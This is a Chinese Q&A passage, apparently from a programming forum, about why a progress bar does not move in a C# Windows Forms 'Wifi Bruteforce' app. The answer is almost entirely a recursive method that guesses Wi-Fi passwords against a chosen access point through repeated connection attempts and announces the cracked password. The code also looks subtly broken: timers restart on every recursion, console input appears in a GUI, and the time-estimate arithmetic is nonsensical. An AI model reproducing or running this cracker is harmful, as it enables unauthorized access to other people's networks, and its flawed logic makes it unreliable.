Question

我在C＃中创建了Windows窗体应用程序来计算估计的时间但是当我点击开始按钮开始计算估计的时间进度条时，它不会改变！

问题出在哪里？

您的进度条码永远不会运行。

解决方案：更改您的暴力方法。将所有代码从else语句移到if语句，并删除else语句，如下所示：

 private void bruteforce(char[] fin, String pwd, int pos, int length, AccessPoint selectedAP)
    {
        timer1.Start();

        sw.Start();

        if (pos < length)
        {
            foreach (char ch in fin)
            {
                bruteforce(fin, pwd + ch, pos + 1, length, selectedAP);

                elapsedSec = Convert.ToInt32(sw.Elapsed.TotalSeconds);

                // Auth
                AuthRequest authRequest = new AuthRequest(selectedAP);
                bool overwrite = true;

                if (authRequest.IsPasswordRequired)
                {
                    if (overwrite)
                    {
                        if (authRequest.IsUsernameRequired)
                        {
                            Console.Write("\r\nPlease enter a username: ");
                            authRequest.Username = Console.ReadLine();
                        }
                        authRequest.Password = pwd;

                        if (authRequest.IsDomainSupported)
                        {
                            Console.Write("\r\nPlease enter a domain: ");
                            authRequest.Domain = Console.ReadLine();
                        }
                    }
                }

                selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
            }



            try
            {
                SetControlPropertyThreadSafe(label4, "Text", pwd);

                SetControlPropertyThreadSafe(label5, "Text", count.ToString());
                count++;

                speed = count / elapsedSec;
                SetControlPropertyThreadSafe(label23, "Text", speed + " passwords/s");

                passwordLeft = (int)permutations - count;
                estimatedTime = speed * (int)permutations - passwordLeft * speed;


                SetControlPropertyThreadSafe(progressBar1, "Maximum", (int)permutations);
                SetControlPropertyThreadSafe(progressBar1, "Value", estimatedTime);
                SetControlPropertyThreadSafe(label30, "Text", estimatedTime.ToString() + "%");

                if (check(selectedAP) == true && CheckForInternetConnection() == true)
                {
                    var timeEnded = DateTime.Now;
                    SetControlPropertyThreadSafe(label4, "Text", pwd);
                    MessageBox.Show("Password is :" + pwd, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString());
                    sw.Stop();
                    return;
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }            
    }
